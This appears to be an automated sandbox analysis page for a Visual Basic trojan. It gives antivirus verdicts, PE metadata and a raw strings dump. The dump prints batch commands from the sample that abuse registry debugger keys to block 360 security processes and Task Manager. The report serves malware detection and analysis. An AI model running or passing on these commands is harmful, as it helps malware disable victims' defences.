1.1
低危

0fb76033521d68d75c2ba08821f09ea393d3b343e91886cdfd48081a3beb5d1c

0fb76033521d68d75c2ba08821f09ea393d3b343e91886cdfd48081a3beb5d1c.exe

分析耗时

193s

最近分析

374天前

文件大小

707.7KB
静态报毒 动态报毒 CVE FAMILY METATYPE PLATFORM TYPE UNKNOWN WIN32 TROJAN FSYSNA
鹰眼引擎
DACN 0.12
FACILE 1.00
IMCLNet 0.72
MFGraph 0.00
静态判定
反病毒引擎
查杀引擎 查杀结果 查杀时间 查杀版本
Alibaba None 20190527 0.3.0.5
Avast Win32:Malware-gen 20200126 18.4.3895.0
Baidu None 20190318 1.0.0.2
CrowdStrike win/malicious_confidence_100% (D) 20190702 1.0
Kingsoft None 20200126 2013.8.14.323
McAfee Trojan-FQXU!13E7DC73CB07 20200126 6.0.6.653
Tencent Malware.Win32.Gencirc.10b3cff1 20200126 1.0.0.1
静态指标
行为判定
动态指标
在 PE 资源中识别到外语 (1 个事件)
name RT_VERSION language LANG_CHINESE filetype None sublanguage SUBLANG_CHINESE_SIMPLIFIED offset 0x0000a9a4 size 0x0000024c
网络通信
与未执行 DNS 查询的主机进行通信 (1 个事件)
host 114.114.114.114
文件已被 VirusTotal 上 54 个反病毒引擎识别为恶意 (50 out of 54 个事件)
ALYac Trojan.Agent.DVQW
APEX Malicious
AVG Win32:Malware-gen
Acronis suspicious
Ad-Aware Trojan.Agent.DVQW
AhnLab-V3 Trojan/Win32.Fsysna.R269415
Antiy-AVL Trojan/Win32.Fsysna.FCCR
Arcabit Trojan.Agent.DVQW
Avast Win32:Malware-gen
Avira TR/Dropper.Gen
BitDefender Trojan.Agent.DVQW
CAT-QuickHeal Trojan.FsysnaVMF.S7094755
ClamAV Win.Malware.Fsysna-7004456-0
Comodo TrojWare.Win32.Ditertag.DI@8k2up6
CrowdStrike win/malicious_confidence_100% (D)
Cybereason malicious.3cb074
Cylance Unsafe
Cyren W32/Fsysna.E.gen!Eldorado
DrWeb Trojan.KillFiles.64121
ESET-NOD32 Win32/KillFiles.A
Emsisoft Trojan.Agent.DVQW (B)
Endgame malicious (high confidence)
F-Prot W32/Fsysna.E.gen!Eldorado
F-Secure Trojan.TR/Dropper.Gen
Fortinet W32/Fsysna.FCCR!tr
GData Trojan.Agent.DVQW
Invincea heuristic
Jiangmin Trojan.Fsysna.kfk
K7AntiVirus Trojan ( 0000bbc81 )
K7GW Trojan ( 0000bbc81 )
Kaspersky Trojan.Win32.Fsysna.fcpq
MAX malware (ai score=81)
Malwarebytes Hijack.AssocExt
McAfee Trojan-FQXU!13E7DC73CB07
McAfee-GW-Edition BehavesLike.Win32.SuspiciousDel.bm
MicroWorld-eScan Trojan.Agent.DVQW
NANO-Antivirus Trojan.Win32.Fsysna.fpivmo
Panda Trj/Genetic.gen
Qihoo-360 HEUR/QVM03.0.D1A5.Malware.Gen
Rising Worm.KillFiles!8.53B3 (TFE:dGZlOgMT2kV9DhKUEg)
SUPERAntiSpyware Trojan.Agent/Gen-Injector
Sangfor Malware
SentinelOne DFI - Malicious PE
Sophos Troj/VB-KOX
TACHYON Trojan/W32.VB-Fsysna.Zen
Tencent Malware.Win32.Gencirc.10b3cff1
TrendMicro Trojan.Win32.KILLFILES.SMTH
TrendMicro-HouseCall Trojan.Win32.KILLFILES.SMTH
VBA32 Trojan.Fsysna
VIPRE Trojan.Win32.Generic!BT
可视化分析
二进制图像
数据导入图像 288x288
数据导入图像 224x224
数据导入图像 192x192
数据导入图像 160x160
数据导入图像 128x128
数据导入图像 96x96
数据导入图像 64x64
数据导入图像 32x32
运行截图
暂无运行截图 该样本运行过程中未生成截图

👋 欢迎使用 ChatHawk

我是您的恶意软件分析助手,可以帮您分析和解读恶意软件报告。请随时向我提问!

🔍 主要威胁分析
⚡ 行为特征
🛡️ 防护建议
🔧 技术手段
🎯 检测方法
🤖

PE Compile Time

2019-04-20 18:22:04

PE Imphash

d2bf2bc66c5e49a85254cd29b19046bd

Sections

Name Virtual Address Virtual Size Size of Raw Data Entropy
.text 0x00001000 0x00007df0 0x00008000 6.058616924670466
.data 0x00009000 0x00000b40 0x00001000 0.0
.rsrc 0x0000a000 0x00001000 0x00001000 4.416328167746471

Resources

Name Offset Size Language Sub-language File type
RT_ICON 0x0000a0e8 0x000008a8 LANG_NEUTRAL SUBLANG_NEUTRAL None
RT_GROUP_ICON 0x0000a990 0x00000014 LANG_NEUTRAL SUBLANG_NEUTRAL None
RT_VERSION 0x0000a9a4 0x0000024c LANG_CHINESE SUBLANG_CHINESE_SIMPLIFIED None

Imports

Library MSVBVM60.DLL:
0x401000 _CIcos
0x401004 _adj_fptan
0x401008 __vbaStrI4
0x40100c __vbaVarMove
0x401010 __vbaAryMove
0x401014 __vbaFreeVar
0x401018 __vbaStrVarMove
0x40101c __vbaLenBstr
0x401020 __vbaFreeVarList
0x401024 __vbaEnd
0x401028 _adj_fdiv_m64
0x40102c __vbaFreeObjList
0x401030 _adj_fprem1
0x401034 __vbaStrCat
0x401038 __vbaError
0x40103c __vbaSetSystemError
0x401044 _adj_fdiv_m32
0x401048 __vbaAryDestruct
0x40104c __vbaExitProc
0x401050 __vbaVarForInit
0x401054 None
0x401058 None
0x40105c __vbaObjSet
0x401060 __vbaOnError
0x401064 _adj_fdiv_m16i
0x401068 _adj_fdivr_m16i
0x40106c None
0x401070 _CIsin
0x401074 __vbaErase
0x401078 __vbaChkstk
0x40107c __vbaGosubFree
0x401080 __vbaFileClose
0x401084 EVENT_SINK_AddRef
0x40108c None
0x401090 __vbaAryConstruct2
0x401094 __vbaPutOwner4
0x401098 __vbaI2I4
0x40109c DllFunctionCall
0x4010a0 __vbaFpUI1
0x4010a4 __vbaRedimPreserve
0x4010a8 __vbaStrR4
0x4010ac _adj_fpatan
0x4010b4 None
0x4010b8 __vbaRedim
0x4010bc EVENT_SINK_Release
0x4010c0 __vbaNew
0x4010c4 None
0x4010c8 __vbaUI1I2
0x4010cc _CIsqrt
0x4010d4 __vbaUI1I4
0x4010d8 __vbaExceptHandler
0x4010dc __vbaPrintFile
0x4010e0 __vbaStrToUnicode
0x4010e4 None
0x4010e8 _adj_fprem
0x4010ec _adj_fdivr_m64
0x4010f0 __vbaGosub
0x4010f4 None
0x4010f8 __vbaFPException
0x4010fc None
0x401100 __vbaGetOwner3
0x401104 __vbaStrVarVal
0x401108 __vbaVarCat
0x40110c __vbaGetOwner4
0x401110 __vbaI2Var
0x401114 __vbaLsetFixstrFree
0x401118 None
0x40111c _CIlog
0x401120 __vbaErrorOverflow
0x401124 __vbaFileOpen
0x401128 __vbaVar2Vec
0x40112c __vbaNew2
0x401130 None
0x401134 None
0x401138 None
0x40113c _adj_fdiv_m32i
0x401140 _adj_fdivr_m32i
0x401144 None
0x401148 __vbaStrCopy
0x40114c __vbaVarSetObj
0x401150 __vbaFreeStrList
0x401154 __vbaDerefAry1
0x401158 _adj_fdivr_m32
0x40115c _adj_fdiv_r
0x401160 None
0x401164 None
0x401168 __vbaVarTstNe
0x40116c None
0x401170 __vbaI4Var
0x401174 __vbaVarAdd
0x401178 __vbaAryLock
0x40117c __vbaVarDup
0x401180 __vbaStrToAnsi
0x401188 __vbaFpI4
0x40118c __vbaVarCopy
0x401190 None
0x401198 _CIatan
0x40119c __vbaStrMove
0x4011a0 __vbaStrVarCopy
0x4011a4 _allmul
0x4011a8 __vbaLenVarB
0x4011ac _CItan
0x4011b0 __vbaAryUnlock
0x4011b4 __vbaFPInt
0x4011b8 __vbaVarForNext
0x4011bc _CIexp
0x4011c0 __vbaFreeStr
0x4011c4 __vbaFreeObj

L!This program cannot be run in DOS mode.
#BBBL^B`BdBRichB
`.data
MSVBVM60.DLL
rjrbrrr
rvjrNr:
rrbr*<r}Artr
rr4ur9
r}irWr!NrwrSr+rgr
=r:r7ruBr
Vr2Cr:
rJlrr
rrar5r
r$br/Nrwr
rrpurkrmrIrr0lrF
yE81$HH
M%-:O3f
2.X By:znkzz
S!!#uR
zzzzzzzz
zzzzzzz
zzzzzzzz
zUzzyQz
zzzzzzzzz-
zzzzzzzz-
zzzzzzzzz
zzzzzzzzzzz
zzzzzzzzf
zzzzzzzG
zzzzzzzzz
zzzzzzzzzzzz
Timer2
Timer1
Label3
@echo off
reg add "hklm\software\microsoft\windows nt\currentversion\Image File Execution Options\ZhuDongFangYu.exe" /v debugger /t reg_sz /d "ntsd -d" /f
reg add "hklm\software\microsoft\windows nt\currentversion\Image File Execution Options\360tray.exe" /v debugger /t reg_sz /d "ntsd -d" /f
reg add "hklm\software\microsoft\windows nt\currentversion\Image File Execution Options\taskmgr.exe" /v debugger /t reg_sz /d "ntsd -d" /f
Label2
Label1
Label1
yE81$H
VB5!6&vb6chs.dll
zE!~@Jke
Class1
yE81$H^pqD
Label1
+3qC:\Program Files (x86)\Microsoft Visual Studio\VB98\VB6.OLB
Timer1
Timer2
Label2
Label3
user32
keybd_event
GetForegroundWindow
user32.dll
GetWindowTextA
GetWindowTextLengthA
FindWindowA
SetWindowTextA
SearchFiles
getCaption
+3q"=h
+3qhJu
+3qClass
C:\windows\SysWow64\MSVBVM60.DLL\3
RegisterA
RegisterB
RegisterC
RegisterD
Md5_String_Calc
Md5_File_Calc
GetValues
MD5Init
MD5Final
MD5Update
LongLeftRotate
__vbaVarSetObjAddref
VBA6.DLL
__vbaStrVarVal
__vbaVarCopy
__vbaStrToUnicode
__vbaStrToAnsi
__vbaSetSystemError
__vbaLsetFixstrFree
__vbaVarForNext
__vbaFpI4
__vbaFPInt
__vbaStrR4
__vbaVarLateMemCallLd
__vbaNew
__vbaVarSetObj
__vbaPutOwner4
__vbaStrVarCopy
__vbaPrintFile
__vbaI2Var
__vbaVarForInit
__vbaFileClose
__vbaGetOwner4
__vbaRedim
__vbaFileOpen
__vbaEnd
__vbaFreeObjList
__vbaNew2
__vbaVarDup
__vbaOnError
__vbaFixstrConstruct
__vbaErrorOverflow
__vbaAryDestruct
__vbaFreeVarList
__vbaAryUnlock
__vbaAryLock
__vbaFreeStrList
__vbaVarTstNe
__vbaFreeObj
__vbaHresultCheckObj
__vbaObjSet
__vbaVarMove
__vbaError
__vbaFreeStr
__vbaDerefAry1
__vbaStrCopy
__vbaI4Var
__vbaRedimPreserve
__vbaVarAdd
__vbaLenBstr
__vbaFreeVar
__vbaStrCat
__vbaStrMove
__vbaI2I4
__vbaUI1I2
__vbaAryConstruct2
__vbaFpUI1
__vbaVarCat
__vbaStrVarMove
__vbaUI1I4
__vbaVar2Vec
__vbaGosubFree
__vbaExitProc
__vbaGetOwner3
__vbaGosub
__vbaErase
__vbaLenVarB
__vbaAryMove
__vbaGenerateBoundsError
__vbaStrI4
FileType
SourceString
InFile
InputLen
InputBuffer
}}}}}}}|l\EWEPE
EPlPEPt
MJSEP.PSj
M3EPPu
lXEP@Puy0@X
XP7M)j
tSlPEP
XMfXf9X
#fXEPEPj
EPlPEPt
MSEPPSj
MEPPux
uEPEPj
SEP*L]L9E
MEPHEPEPj
MX|PEPj
} jdh<3@
hPEPEPE
} jPh3@
} jXh3@
MEPEPEPEPj
hPfEhOE
uujj E
MhPEPEPE
HP8P(PPPEP|
P|PEPEP9P
P|PDEPEPP
jj MmE
;PEP7E
PxP8PHP(PP
PPPPPPPP{PxPhPgj
EPXPJ
M9hPxPPPPPPPPP
PHP8PXPhPj
PxPx|x
} jPh3@
} jXh3@
1EPEPEPEPj
EPEPEPEPj
XPhPxPPPPPPPPP
P(P8PHPXPhPj
LSVWeE
VuEPgP3
EPHM`EUM
McM+MS
PEPDEEPE
jTh,3@
jPh,3@
EP@Pu>MDE
SVWeEP
SVWeE`
M_h6]@
SVWeEp
MKhJ^@
TSVWeE
]]]]P8;}
VPHEPEP
P$MQMQE
j@WVPM
MQVP4;}
UM]h_@
EP3S#EPS
j\XXSVWeE
PPuVj@YE
M/M'MO
HSVWeE
VEPEP}}}
EWEPEP+P
WVEPEP]E
MJEPEP
3EPEPj
4SVWeE
QV}}}}
QVPLuuB
EPEPEPEPEPEPj
EPEPEPEPEPEPj
E_EEPE
P]}u-EPEPEP"P"
MEPEPj
>EEEPE
Es^uS'EEEEPEP}u;EPEPEP0P0
MEPEPEPj
EEEEPEP}uEPEPEP
EEEEPEP}u1EPEPEP&P&
MEPEPEPj
EEEEPEP}u
EPEPEP
EEPEP}u
EPEPEP
EPEPEPj
EEPEP}unEPEPEPcPc
M)EPEPj
EPEPEPj
SVWeE0
MQMQ}}]V}~PPp
MQMQVPp
MQMQVPp
MQMQVPpFDMH
XSVWeE8
EP]]]]
EEj@_]E
jxX+MQM
MQMQVPpM
MQMQVPpE]E=
MQMQVPpE]E=
MQMQVPpE]E=
MQMEQE
VPOhl@
LSVWeEH
NPj@_e
f;EE~]
E\f;EE
VPPfEf
HSVWeEP
EEEEEEEEh9@
MQEMEQE
MQMQMQu
MQMQMQMQVExjE
MQMQMQM
QMQMQMQMQEVE
MQMQMQM
QMQMQMQMQVEp $]PXj
MQMQMQM
QMQMQMQMQVE
MQMQMQM
QMQMQMQMQVE
MQMQMQME*
QMQMQMQMQVPX
MQMQMQM
QMQMQMQMQVE
MQMQMQM
QMQMQMQMQVE
MQMQMQM
QMQMQMQMQVE
MQMQMQM
$QMQMQMQMQVPX
MQMQMQM
(QMQMQMQMQVE[]PX
MQMQMQM
,QMQMQMQMQVE\}PX
MQMQMQM
0QMQMQME"
QMQVPX
MQMQMQM
4QMQMQMQMQVEqE
MQMQMQM
8QMQMQMQMQVECy]PX
MQMQMQM
<QMQMQMQMQVE!
MQMQMQMEb%
QMQMQMQMQVP\
MQMQMQM
QMQMQMQMQVE@@E
MQMQMQM
,QMQMQMQMQVEQZ^&]P\j
MQMQMQu
MQMQMQMQVE
MQMQMQM
QMQMQMQMQVP\
MQMQMQM
(QMQMQMQMQVES
MQMQMQM
<QMQMQMQMQVE
MQMQMQM
QMQMQE}MQMQVP\
MQMQMQM
$QMQMQMQMQVE!E
MQMQMQM
8QMQMQMQMQVE
MQMQMQM
QMQMQMQMQVE
MQMQMQME
ZE} QMQMQMQMQVP\
MQMQMQM
4QMQMQMQMQVE
MQMQMQM
QMQMQMQMQVEE
MQMQMQM
QMQMQMQMQVE
EL*}MQMQMQM
0QMQMQMQMQVP\j
MQMQMQM
QMQMQMQMQVEB9]P`
MQMQMQM
QMQMQMQMQVEqE
_MQMQMQM
,QME"am}QMQMQMQVP`
MQMQMQM
8QMQMQMQMQVE
MQMQMQM
QMQMQMQMQVED
MQMQMQM
QMQMQMQMQVEKE
MQME`K}QMQM
QMQMQMQMQVP`
MQMQMQM
(QMQMQMQMQVEpE
MQMQMQM
4QMQMQMQMQVE~(]P`
MQMQMQu
MQMQMQMQVE'E
MQMQMQM
QMQMQMQMQVP`
MQMQMQM
QMQMQMQMQVE
MQMQMQM
$QMQMQMQMQVE9
MQMQMQM
0QMQMQEE
MQMQVP`
MQMQMQM
<QMQMQMQMQVE|}P`
MQMQMQM
QMQMQMQMQVEeVE
MQMQMQu
MQMQMQMQVED")E
MQMQMQM
QMQMQMQMQVPd
MQMQMQM
8QMQMQMQMQVE#E
MQMQMQM
QMQMQMQMQVE9E
MQMQMQM
0QMQMQMQMQVEY[eE
QMQMQM
QMQMQMQMQVPd
MQMQMQM
(QMQMQMQMQVE}E
MQMQMQM
QMQMQMQMQVE]E
MQMQMQM
QMQMQMQMEO~oE
MQMQMQM
<QMQMQMQMQVE,E
MQMQMQM
QMQMQMQMQVE
MQMQMQM
4QMQMQMQMQVE
MQMQMQM
MQMQMQMQVPd
MQMQMQM
,QMQMQMQMQVE5:E
MQMQMQM
QMQMQMQMQVE*E
MQMQMQM
$QMQMQMQMQVE
MQMQND
QVPhFDMH
MQMQND
QVPhFDMH
MQMQND
QVPhFDMH
MQMQND
QVPhFDMH
S3Wf8f
f;]]]]
QWVPlEM
QWVPlEM
QWVPlEM
QWVPlEM
SVWeE`
V3EEEE
MSVBVM60.DLL
_CIcos
_adj_fptan
__vbaStrI4
__vbaVarMove
__vbaAryMove
__vbaFreeVar
__vbaStrVarMove
__vbaLenBstr
__vbaFreeVarList
__vbaEnd
_adj_fdiv_m64
__vbaFreeObjList
_adj_fprem1
__vbaStrCat
__vbaError
__vbaSetSystemError
__vbaHresultCheckObj
_adj_fdiv_m32
__vbaAryDestruct
__vbaExitProc
__vbaVarForInit
__vbaObjSet
__vbaOnError
_adj_fdiv_m16i
_adj_fdivr_m16i
_CIsin
__vbaErase
__vbaChkstk
__vbaGosubFree
__vbaFileClose
EVENT_SINK_AddRef
__vbaGenerateBoundsError
__vbaAryConstruct2
__vbaPutOwner4
__vbaI2I4
DllFunctionCall
__vbaFpUI1
__vbaRedimPreserve
__vbaStrR4
_adj_fpatan
__vbaFixstrConstruct
__vbaRedim
EVENT_SINK_Release
__vbaNew
__vbaUI1I2
_CIsqrt
EVENT_SINK_QueryInterface
__vbaUI1I4
__vbaExceptHandler
__vbaPrintFile
__vbaStrToUnicode
_adj_fprem
_adj_fdivr_m64
__vbaGosub
__vbaFPException
__vbaGetOwner3
__vbaStrVarVal
__vbaVarCat
__vbaGetOwner4
__vbaI2Var
__vbaLsetFixstrFree
_CIlog
__vbaErrorOverflow
__vbaFileOpen
__vbaVar2Vec
__vbaNew2
_adj_fdiv_m32i
_adj_fdivr_m32i
__vbaStrCopy
__vbaVarSetObj
__vbaFreeStrList
__vbaDerefAry1
_adj_fdivr_m32
_adj_fdiv_r
__vbaVarTstNe
__vbaI4Var
__vbaVarAdd
__vbaAryLock
__vbaVarDup
__vbaStrToAnsi
__vbaVarLateMemCallLd
__vbaFpI4
__vbaVarCopy
__vbaVarSetObjAddref
_CIatan
__vbaStrMove
__vbaStrVarCopy
_allmul
__vbaLenVarB
_CItan
__vbaAryUnlock
__vbaFPInt
__vbaVarForNext
_CIexp
__vbaFreeStr
__vbaFreeObj
S!!#uR
zzzzzzzz
zzzzzzz
zzzzzzzz
zUzzyQz
zzzzzzzzz-
zzzzzzzz-
zzzzzzzzz
zzzzzzzzzzz
zzzzzzzzf
zzzzzzzG
zzzzzzzzz
zzzzzzzzzzzz
C:\Users\Administrator\Desktop\
2.X.pdb
3964344A5F101BBA10AF84388155DFBD
1FD3607D4327B50EB6EDDABE78C6FA87
D1B2D8671EFC317E434137437EEF4A96
370027142FF336DDB2EE9E351C47EDA5
D47BD13313C220FC81E2540FDD038E6A
4C247094201EB65DE12AA17F20575ED9
7EAE529F10C8EA87C8CADCC469D1CE76
CE9ADAC29177BF143E24B1BCE2A0859C
5BB894201EF96C9C75AE3F22DD9BEB74
B3238B574B3390358ED3AC8F60226CCD
9FEBFDDC3BFD3D2FCB45F7F1D8FF39E7
199350BB6558935F20C7C2ACB1D2A315
065AC7FCDA71AF7905F67307B1E0131F
184806EBCFA7D9D66674D0362DFDA9FC
B30CD0A83AF9B887FDCB16B4059078D4
0D4261D61956CCBFEC24C5D476B6C801
25A99EB4214CFE27E51E3F9CD7097407
E24026E736358CD755DF447A99406D3A
HH;s+]
SV393u
WuuSMuuuSM,u
uuSMPuuSMptSl|uSx
MMJMMM*M_M^[d
SW39tb9_
t]V]]WM]
SW39tb9_
t]V]]WM]vj
SW39tb9_
t]V]]WM];j
SV393th9s
tcuuSMuY9s$t@j
t>EEVMEqE
(VW39>t^9~
tY}}VM
}}}VME
1`7_^U
187_^-
PQ _|%f}
NYYu^]
Sn_^[]
VVMF$t1D
9u_N$t
VVM=F,
<uN,_t
VVM2F0t-
SCYYPu
P+PS$u
S3V^8^<^@W=T
^$^(^,^D^H^L^P^T^X^\^`^d^h
Xlh@Pj\X=~
Xl[h@Pj\X~
;}/Php
SW39;}
}}SM}9{
X]LTD8<P4E
TT;|gPh
T1;|DT;t
SVWXE3Vh
XuPTH@DS<E
SVWE+3Vh
G$Ph\2
G(Ph@2
G,Ph(2
p[$;th38j
Y}83t4u9HE
SVWXE3Sh
TY|?Tt
9U>_^J
9-N 9#N
VW39>tR9~
tMS}}VM}E
VW39>tR9~
tMS}}VM}mE
VW39>tR9~
tMS}}VM}
VW39>tR9~
tMS}}VM}
VW39>tR9~
tMS}}VM}E
SVWXE3Vh
VW39>tR9~
tMS}}VM}E
XEH3Sh
X]PTH48@0E
;|\9Tt\T@D
;|DT;t
DWXH3Sh
3;@tcH@`
;|DT;t
VWWMjw
MtFW>p
SVWXEH3Sh
WT;|DT;t
SVWXEO3Vh
XuPTH<@S8E
VT|FTt
SVWXE 3Wh
F Ph4E
T |?Tt
TWXE-3Ph
XEPHTVhtF
3Dt^Dp
PTW;|FPt
VW39>tR9~
tMS}}VM}
VW39>tR9~
tMS}}VM}
VW39>tR9~
tMS}}VM}}E
SVWXEG3Sh
X]TPLD
;|A9DH
b|M_^d
L@[L;t
;|N9LtRL@L;t
VW39>tR9~
tMS}}VM}
UQQSV5
VVPVPVVVVVV
PSPVPP
;u?SVP
M_^[T(
S4PW0,
;YtajfY3
,S4P,0
SVW3S8QLQS<QEE
,PHPSh?
SLPSP0
;u`@S8PLPS<PP@D8<
QQWVWWWPh
jd4PjdWh,
PPWVWWW
Yu3YYu
iM_^[b
It{It9I
u`Y3@M_^[s
UQVWju
f}@5po
Wj'Y3d
Wj'Y3df!ldPj
VEP3EPVh?
uYEPEPEPVu
uGEPEPEPVu
UQSVWPo
3Ct&90t
EPShhL
EPShDL
EPShhK
EPSh<K
Ht}HtfHtOHt2Ht
S3VW]]o
]*]]]VME
uM6VMZ^5
M]A^MM\M_^[d
UQV3VEPVh
SV3f90u
utGf=#
f;u9uu#S
f;u3f;.uu>
Y?nt6Ht
VXPjdj
ZXXZ3@^
SVXEqm3j
D8PHSa
D38Q@PWTL
DX8QPWTL
DX8QPWTL
X8QPWT
D8PSWT
D38Q@PWTL
DX8QPWTL
DX8QPWTL
DX8QPWTL
X8QPWT
P4WTSPh
4PPWTPh
SuPHPh
VWXTcjd_
SXP3hl
H<PVLa
H3<Q@PWTP
HX<QPWTP
HX<QPWTP
HX<QPWTP
HX<QPWTP
X<QPWT
VWXT\ajd_
H<PVLa
H3<Q@PWTP
HX<QPWT
HX<QPWTP
HX<QPWT
HX<QPWT
HX<QPWT3C@P
X<QPWT@
<8O<D0QPhM
@PqG|2F
VS^_3[]
VWEZ3X}uZ`jZ_ZTZ(IZ
((7F&F
FXXEEM_d
SVWXEX3}XWWh
S!t!xho
SW3EX\ho
T}J<;u
=((=XX=
=``n=]=MT
VXE.P3j
*9;u)E
y4XX7_[Md
VXEJ3j
#4;u)HE
3;v:9,
XPt9(
3+tSHt=Ht'Ht
?3_[Md
PQXP E
H@@<RQP
XTI@5|o
@4PDSa
@34Q@PWTH
@X4QPWTH
@X4QPWTH
@X4QPWTH
@X4QPWTH
X4QPWT
PLWTSPh
LPPWTPh
SuPHPh
tKWPhI
X6PXP$09H
vLWPhQ
XP4XP,9x
vLWPhJ
XPXP|,9
vLWPhK
XPXP(,9
vLWPhL
XP8XP,`
#tiWPhM
XPXPc
#XX#M^d
XT63SjdX]W"j
tVWXPhN
t!tVWXPhO
PTXPV|
!tOWXPhP
QTPP09Lt0WXPh[
PTXPV @]bX
t!M_^d
WXT(A4F
(v1Wjd(E
4/X}&/E
VPjdWkX
VXPjrW[X
j0d5po
VXPjdWW
VPjdWE
VXPjrW%W
j0d5po
3@M_^d
VXPjdWE
$`Y`VPhs
VXPjdWE
,j0d4W
X/)($)
V(PjdWE
j04dW
SVW33G;EE
xPPtPS|t
(&]&&X&
V(PjdSE
(R#X}D#9#
3@M_^d
W3WS S
EPuWSj
3uLPho
PjgYYj
;tc90t_Vj
VPjdS@
}*VXPjrj
j0d5po
VPjdSY?
PP}*VXPjrj
j0d5po
VPjdS&>
P}*VXPjrj
j0d5po
VPjdS<
P;})VXPjrSX<
j0d5po
+tGHt5Ht#Ht
df8hCVXPhO
+VXPhN
V(PjdWE
VPjrWN9
j045po
YY2XX!
(PXch`Q
(PXh`Q
((wXXfM_^d
df0\Ph
uijdhQ
9hv=LPPPTPXPhQ
Vjn[hQ
f04V5po
XX((|``kZI8Md
u<EPSj
UDSVWh
EEP5po
W3WuEP
E+EWPE+EPE+E
EPW5to
+V4YJ\`
+Vs;5``
3_^[;5l`
SWE30}j
f8@@f98uVW
Wd45po
X``UV`Ph
V(PjnW%
Wld5po
9,(t hR
Xb(WV(Ph
V`PjnW#
W4d5po
((JXX9(
P3Vh<L
M3Fx5Ho
VVWUYu\3A9
VVdV5po
vTl3|j
WXPjdVE
Vd5po
jqYYxMh
WPjd3VE
WXPjiV
j0d5po
W(PjdVE
ddP+@j
XXn]L((;3VVh/
;t?95o
SWPj5|o
SXPjlVE
S(PjdV3
PWdPo095
((XXMl
W3WWEE
uK\Ph`
`PWh4S
v*GGf? w f="
dGtpWq
dstpW,
W'@Pj.} =o
&39u9=o
4PjsWc
NYYShN
t7ShTN
YYShTN
t7Sh(N
YYSh(N
V4Pjd3W
FYYShN
t7ShTN
YYShTN
t7Sh(N
~YYSh(N
twf}66
t7ShTN
YYShTN
t7Sh(N
PYYSh(N
uG`P3PPh
Wdt@Pj d~
lPjfVz
fd[PM_^[w
fDV*^]
_3_^[]
URuPQT|+}
URuPQT|+}
U SVW3S
UREuTq
|P9]tKEP]
PQHE;t
dE{VdXpG
YYu#9`u
YM_^[m
PqXPWV6
W3}X(hZ
`((OXX>-
S df8o
VXWWPX>Yo
;t=PhxU
VX`WWPXXo
;t=PhHU
WWPXXo
VXWWPXlXo
;t=PhT
VXWWPX&Xo
;t=PhT
VXHWWPXWo
;t=PhT
WWPXW9ht_hxT
WWXP(GW4hDT
CdDdPWphZ
804W,E
;LtHXP
P0XPht\
8;t1XQ
PXPh`\
D;t1XQ
PXPhL\
H;t1XQ
PuXPh4\
P;Lu<;
P;Lu8;t+hD[
TD;t+h
TH;t+hZ
XET,23
40TPh^
,YYP;H
SVWXET
P0DPh^
SyYY^W3Gt
t+Ht!Ht
+t+Ht!Ht
YYhPd
PiK -f
Y|jv(T,u
WpVWis
WJ3098
RPTDHQv<Ph0s
YYhPd
VXJOuXP
7v!;hs
XX{M_^d
3SEEEA
E0EPhx
SV3;WE
WVW37(
W/YYhPd
WLVWEs
WYY3M_^d
SVW3;E
@PaPh0
YYt"7h
WSm0Xe
@Pj\y~
y3M_^d
PX4XPhx
PXyXPhx
PX$XPhx
PXiXPhx
P(lh,T
\ 3*qM_^d
E0EPh0
E0EPh0
YY^ltD`
W~VWws
WSYY3_^
PX:zXPh
PXyXPh\
dXXd$b
YYhPd
3((*`M_^d
XHTPrHPhH
PV;YYt
PVh;YYt
PV<;YYt
PX`lHXPh
V@YYh
XPVWV^h
XPViWV
X3M_^d
WXTDk3
Hu3d(hh
TYYh,T
nT``]T\
T#YYh,T
SS((SXXSM_^d
ZN48V0E
NLPVHE
NptVlE
2O@DV<E
hO(,V$E
OdhV`E
PX\VTE
|q!|^%|K=Pq
Wffffff
YY]j`h
3{FF3f
FFW](j
w\SVP9
YE;t:FHE;r
9}uX;u
E;t0FHE;r
9}u";u
EE;u`9=t
3CSVW5`
UQQSVWd5
SVWE3PPPuu
E_^[E]
USVWUj
P(RP$R
t5|$(t
;t$(v(4v
UQPXY]Y[
@@fu+E
fSt8+f
@@fu3[_]
@@fufM
HLNLHPNPP3Y`
vPVLPQE
Y3^_[]
AABBM
tJf9}tDf9Et<}
3F95xr
3MYY[]
31YY[]
SVEW3;
@u+@<v)P
UQSVW>
<"u>"u
3Y[^_5Xr
@B8\t8"u&
UQQSVW39=
W33;u.
;tuf9t
SSS+S@PWSSE;
;YEt!SSuPuWSS
uGY]]W
;rSVWEP
YYt(V5
PYF,;t
PYF4;t
PYF<;t
PYFD;t
PYFH;t
PYFT=pa
Y}F`E;t
FdE;tM
YYt+V5
3@^p3^
3]3@]h
+SVWEePEEEEd
Y_^[QVC20XC00U
33333]^]
]_^[]UL$
f;rof=p
f;r_f=Z
f;rOf=
rBPf;rAf=*
f;r1f=J
f;r!f=
3"p@d;
VDYYFu
WYYuf_]h0
PyYYtF
YYGG3f
YfdtSfitMfotGfxtAfXu
1ht lt
g~Bit!n
(j-_f;u
YtdV(PW
GGf?^u
f]t`FFf9s
jx^f;tZfXtT
S~YYj0[
ptBuf%
F$|3@_^
k3Y@_^]
W3;u4DP
MOI;|9M
WI <}}
MLD3#um
#Mj _^{
;]r;]u&
]#\D\D
FF@@u3
YYE@xE@|EpxM
EE8csmu%Ex
EPQ3VW
GuRYMHxMH|>csmu6~
tu$u u
WEPEPVu u
;EsVS;7|B;w
;Er[_^
Wcsm9>
}EPEPWu u
(u$u ]u
VYY_^[
u u$u uu
tP8csmu,9x
U$Ru u
P 3@_^]j
VW_^]M
It7ht&lt
HHtxHHtt
@@@u3@t
t-RPWS
CYCY~9PM
PvCC>Yt
j ^f;r
It6ht&lt
}]UZtg
@@@u3@t
t-RPWSH/
uH80t8
A80t.F
EVM(^[
uMSW<t
D=VP YYtG;|fE
YYM_^[@=
r$$w@
W=YEMT
tc;t_F,98uXF4;t
YYF0;t
YYv,}v<uYYF@;
PZvDRYYFP;
vP+YYV#Y_^]
3;t/A,
QoYFd^j
W>+~'WPv
7Y}3u;5@
tVPVDYY3BU y
qtb+tG
VbtFHt+
Y]3u;5@
4VYY y
GIt%t)
Gt/KuD$
GKu[^D$
VPVPV5v
@;rD3Ar
@;vAAy
YE;uo>
EtVMf9MZ
_^[j$h
33F9=lu
u2EPVh|
M3F]39}u
SVeYYE;tuWWSuu
P}YEtnu
fNPSuu
E_WEPE
UDSVWj
E3;}M]
@@Ju;t
;tD9]u?8\
EPSRWjQSv
M_^[.x
BG;U|E
EPSSSjQSv
;F(r(8_
t#F(39]
DDDDDDDDDDDDDD
;|P+;E
ue9t-j
*09)Y+
s9~(~
j YjY+
VWj Y}
PjY+3BR0H%
